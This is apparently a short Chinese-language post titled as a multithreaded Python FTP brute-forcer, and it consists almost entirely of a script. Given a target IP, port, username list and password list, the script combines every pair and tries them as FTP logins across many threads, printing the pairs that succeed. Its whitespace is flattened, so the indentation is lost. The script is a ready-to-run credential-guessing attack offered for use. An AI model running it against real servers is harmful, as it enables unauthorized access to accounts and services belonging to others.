python 多线程ftp爆破
import sys,ftplib import threading,queue def ftp_brute(ip,port): ftp = ftplib.FTP() ftp.connect(ip,int(port)) while not q.empty():#判断q不为空 dict=q.get() dict=dict.split('|') #拆分username和password username=dict[0] password=dict[1] # 使用加载异常 try: ftp.login(username,password) list = ftp.retrlines('list') print(username+'|'+password+'|OK') except ftplib.all_errors: print(username + '|' + password + '|no') pass if __name__=="__main__": print("python3 1.py ip port userfile passfile thread") ip = sys.argv[1] port = sys.argv[2] userfile = sys.argv[3] passfile = sys.argv[4] threading_num = sys.argv[5] q=queue.Queue() #python queue模块的FIFO队列先进先出。 for username in open(userfile): for password in open(passfile): username=username.replace('\n','') password=password.replace('\n','') zidian=username+'|'+password q.put(zidian) #print(zidian) #多线程 for x in range(int(threading_num)): t=threading.Thread(target=ftp_brute,args=(ip,int(port)))#args=(ip,port)用于传参数 t.start()